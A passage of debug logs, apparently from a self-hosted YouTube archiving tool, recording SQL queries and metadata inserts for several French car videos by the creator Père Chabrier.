short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [724] 06:33:29.854 [debug] Current batch of media processed. Will check again in 1000ms 06:33:30.856 [debug] Current batch of media processed. Will check again in 1000ms 06:33:31.857 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "N'hésitez pas à poser vos questions en commentaire ou par message insta pour choisir le thème du prochain épisode 🕵️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Ecriture : Maxime Thoroud \n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#Enquête #quattro #pourtoi", "duration" => 1546, "filename" => "/downloads/Père Chabrier/2025-05-30 Ces FEMMES qui ont MARQUÉ l’histoire du SPORT AUTO - Enquête #5/Ces FEMMES qui ont MARQUÉ l’histoire du SPORT AUTO - Enquête #5 [o5a-gwm6QfU].mkv", "id" => "o5a-gwm6QfU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=o5a-gwm6QfU", "playlist_index" => 3, "timestamp" => 1748621705, "title" => "Ces FEMMES qui ont MARQUÉ l’histoire du SPORT AUTO - Enquête #5", "upload_date" => "20250530"} 06:33:31.859 [debug] QUERY OK source="sources" db=1.2ms idle=853.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 06:33:31.860 [debug] QUERY OK source="sources" db=1.0ms queue=0.4ms idle=855.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:33:31.863 [debug] QUERY OK source="media_items" db=1.8ms queue=0.5ms idle=856.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-30 16:15:05Z], 3] 06:33:31.869 [debug] QUERY OK source="media_items" db=4.1ms queue=0.2ms idle=699.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["N'hésitez pas à poser vos questions en commentaire ou par message insta pour choisir le thème du prochain épisode 🕵️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Ecriture : Maxime Thoroud \n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#Enquête #quattro #pourtoi", "Ces FEMMES qui ont MARQUÉ l’histoire du SPORT AUTO - Enquête #5", "eb2b8b55-d7d6-4cdc-882a-43aa3da09abf", "o5a-gwm6QfU", 1546, false, "https://www.youtube.com/watch?v=o5a-gwm6QfU", 3, "/downloads/Père Chabrier/2025-05-30 Ces FEMMES qui ont MARQUÉ l’histoire du SPORT AUTO - Enquête #5/Ces FEMMES qui ont MARQUÉ l’histoire du SPORT AUTO - Enquête #5 [o5a-gwm6QfU].mkv", false, false, false, 3, [], 98, ~U[2025-05-30 16:15:05Z], ~U[2026-04-20 04:33:31Z], ~U[2026-04-20 04:33:31Z], "N'hésitez pas à poser vos questions en commentaire ou par message insta pour choisir le thème du prochain épisode 🕵️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Ecriture : Maxime Thoroud \n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#Enquête #quattro #pourtoi", "Ces FEMMES qui ont MARQUÉ l’histoire du SPORT AUTO - Enquête #5", "o5a-gwm6QfU", 1546, false, "https://www.youtube.com/watch?v=o5a-gwm6QfU", "/downloads/Père Chabrier/2025-05-30 Ces FEMMES qui ont MARQUÉ l’histoire du SPORT AUTO - Enquête #5/Ces FEMMES qui ont MARQUÉ l’histoire du SPORT AUTO - Enquête #5 [o5a-gwm6QfU].mkv", false, 3, ~U[2025-05-30 16:15:05Z]] 06:33:31.871 [debug] QUERY OK source="sources" db=1.1ms queue=0.3ms idle=37.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:33:31.873 [debug] QUERY OK source="media_profiles" db=1.6ms idle=12.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:33:31.877 [debug] QUERY OK source="media_items" db=2.9ms idle=12.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [725] 06:33:31.877 [debug] Current batch of media processed. Will check again in 1000ms 06:33:32.879 [debug] Current batch of media processed. Will check again in 1000ms 06:33:33.880 [debug] Current batch of media processed. Will check again in 1000ms 06:33:34.881 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Encore merci au propriétaire pour le prêt de ce range du seigneur🙏\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives ça revient bientôt promis\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Cadreur : Mathias Dargnat - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\nMerci à Cassandra pour son aide sur le tournage 🙏 ❤️\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#rangerover #v8 #pourtoi", "duration" => 1860, "filename" => "/downloads/Père Chabrier/2025-05-23 Le MAXIMUM tout simplement - Range Rover SV One/Le MAXIMUM tout simplement - Range Rover SV One [zekzfyFML7o].mkv", "id" => "zekzfyFML7o", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=zekzfyFML7o", "playlist_index" => 4, "timestamp" => 1748016907, "title" => "Le MAXIMUM tout simplement - Range Rover SV One", "upload_date" => "20250523"} 06:33:34.883 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=1874.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 06:33:34.885 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=1877.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:33:34.888 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=1879.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-23 16:15:07Z], 3] 06:33:34.943 [debug] QUERY OK source="media_items" db=52.3ms idle=1048.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Encore merci au propriétaire pour le prêt de ce range du seigneur🙏\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives ça revient bientôt promis\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Cadreur : Mathias Dargnat - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\nMerci à Cassandra pour son aide sur le tournage 🙏 ❤️\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#rangerover #v8 #pourtoi", "Le MAXIMUM tout simplement - Range Rover SV One", "033ed61b-3091-4521-843b-1ca56edb437d", "zekzfyFML7o", 1860, false, "https://www.youtube.com/watch?v=zekzfyFML7o", 4, "/downloads/Père Chabrier/2025-05-23 Le MAXIMUM tout simplement - Range Rover SV One/Le MAXIMUM tout simplement - Range Rover SV One [zekzfyFML7o].mkv", false, false, false, 3, [], 98, ~U[2025-05-23 16:15:07Z], ~U[2026-04-20 04:33:34Z], ~U[2026-04-20 04:33:34Z], "Encore merci au propriétaire pour le prêt de ce range du seigneur🙏\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives ça revient bientôt promis\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Cadreur : Mathias Dargnat - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\nMerci à Cassandra pour son aide sur le tournage 🙏 ❤️\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#rangerover #v8 #pourtoi", "Le MAXIMUM tout simplement - Range Rover SV One", "zekzfyFML7o", 1860, false, "https://www.youtube.com/watch?v=zekzfyFML7o", "/downloads/Père Chabrier/2025-05-23 Le MAXIMUM tout simplement - Range Rover SV One/Le MAXIMUM tout simplement - Range Rover SV One [zekzfyFML7o].mkv", false, 3, ~U[2025-05-23 16:15:07Z]] 06:33:34.944 [debug] QUERY OK source="sources" db=0.8ms queue=0.3ms idle=99.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:33:34.946 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.1ms idle=62.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:33:34.949 [debug] QUERY OK source="media_items" db=1.5ms queue=0.4ms idle=61.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [726] 06:33:34.950 [debug] Current batch of media processed. Will check again in 1000ms 06:33:35.951 [debug] Current batch of media processed. Will check again in 1000ms 06:33:36.952 [debug] Current batch of media processed. Will check again in 1000ms 06:33:37.954 [debug] Current batch of media processed. Will check again in 1000ms 06:33:38.955 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Merci à AUTODOC pour l'envoi rapide de cette batterie. Ci-joint un superbe CODE PROMO, il vous suffit d'ajouter CHANTAL avant la finalisation de votre commande, en passant par ce lien : https://bit.ly/AUTODOC_Pierre_Chabrier\n\n(la sub démarre quand même pas) ((mais c'est pas de la faute d'autodoc)) (((vu que le problème c'était pas la batterie))).\n___________________________________\n\nComme d'hab, merci aux boss d'Autoprenium Chantilly pour le prêt de la voiture 🙏\n👉https://www.instagram.com/autopremiumchantilly/\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives ça revient bientôt promis\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Cadreur : Lucas Colomes - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\nUn grand merci à Clem pour son aide sur le tournage 🙏 ❤️\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#skoda #rally #pourtoi", "duration" => 1664, "filename" => "/downloads/Père Chabrier/2025-05-09 Une Golf Gti MIEUX qu’une Golf Gti - La Skoda octavia RS 245/Une Golf Gti MIEUX qu’une Golf Gti - La Skoda octavia RS 245 [aQPKo68UYqM].mkv", "id" => "aQPKo68UYqM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=aQPKo68UYqM", "playlist_index" => 5, "timestamp" => 1746807300, "title" => "Une Golf Gti MIEUX qu’une Golf Gti - La Skoda octavia RS 245", "upload_date" => "20250509"} 06:33:38.957 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=949.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 06:33:38.959 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=951.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:33:38.961 [debug] QUERY OK source="media_items" db=1.6ms queue=0.1ms idle=953.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-09 16:15:00Z], 3] 06:33:38.966 [debug] QUERY OK source="media_items" db=3.1ms idle=955.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à AUTODOC pour l'envoi rapide de cette batterie. Ci-joint un superbe CODE PROMO, il vous suffit d'ajouter CHANTAL avant la finalisation de votre commande, en passant par ce lien : https://bit.ly/AUTODOC_Pierre_Chabrier\n\n(la sub démarre quand même pas) ((mais c'est pas de la faute d'autodoc)) (((vu que le problème c'était pas la batterie))).\n___________________________________\n\nComme d'hab, merci aux boss d'Autoprenium Chantilly pour le prêt de la voiture 🙏\n👉https://www.instagram.com/autopremiumchantilly/\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives ça revient bientôt promis\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Cadreur : Lucas Colomes - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\nUn grand merci à Clem pour son aide sur le tournage 🙏 ❤️\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#skoda #rally #pourtoi", "Une Golf Gti MIEUX qu’une Golf Gti - La Skoda octavia RS 245", "b23a9547-c5db-48c6-9a3e-9faed16dad53", "aQPKo68UYqM", 1664, false, "https://www.youtube.com/watch?v=aQPKo68UYqM", 5, "/downloads/Père Chabrier/2025-05-09 Une Golf Gti MIEUX qu’une Golf Gti - La Skoda octavia RS 245/Une Golf Gti MIEUX qu’une Golf Gti - La Skoda octavia RS 245 [aQPKo68UYqM].mkv", false, false, false, 3, [], 98, ~U[2025-05-09 16:15:00Z], ~U[2026-04-20 04:33:38Z], ~U[2026-04-20 04:33:38Z], "Merci à AUTODOC pour l'envoi rapide de cette batterie. Ci-joint un superbe CODE PROMO, il vous suffit d'ajouter CHANTAL avant la finalisation de votre commande, en passant par ce lien : https://bit.ly/AUTODOC_Pierre_Chabrier\n\n(la sub démarre quand même pas) ((mais c'est pas de la faute d'autodoc)) (((vu que le problème c'était pas la batterie))).\n___________________________________\n\nComme d'hab, merci aux boss d'Autoprenium Chantilly pour le prêt de la voiture 🙏\n👉https://www.instagram.com/autopremiumchantilly/\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives ça revient bientôt promis\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Cadreur : Lucas Colomes - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\nUn grand merci à Clem pour son aide sur le tournage 🙏 ❤️\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#skoda #rally #pourtoi", "Une Golf Gti MIEUX qu’une Golf Gti - La Skoda octavia RS 245", "aQPKo68UYqM", 1664, false, "https://www.youtube.com/watch?v=aQPKo68UYqM", "/downloads/Père Chabrier/2025-05-09 Une Golf Gti MIEUX qu’une Golf Gti - La Skoda octavia RS 245/Une Golf Gti MIEUX qu’une Golf Gti - La Skoda octavia RS 245 [aQPKo68UYqM].mkv", false, 3, ~U[2025-05-09 16:15:00Z]] 06:33:38.967 [debug] QUERY OK source="sources" db=1.0ms idle=109.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:33:38.970 [debug] QUERY OK source="media_profiles" db=1.2ms queue=0.4ms idle=11.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:33:38.973 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=12.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [727] 06:33:38.973 [debug] Current batch of media processed. Will check again in 1000ms 06:33:39.976 [debug] Current batch of media processed. Will check again in 1000ms 06:33:40.977 [debug] Current batch of media processed. Will check again in 1000ms 06:33:41.978 [debug] Current batch of media processed. Will check again in 1000ms 06:33:42.392 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:42.981 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "N'hésitez pas à poser vos questions en commentaire ou par message insta pour choisir le thème du prochain épisode 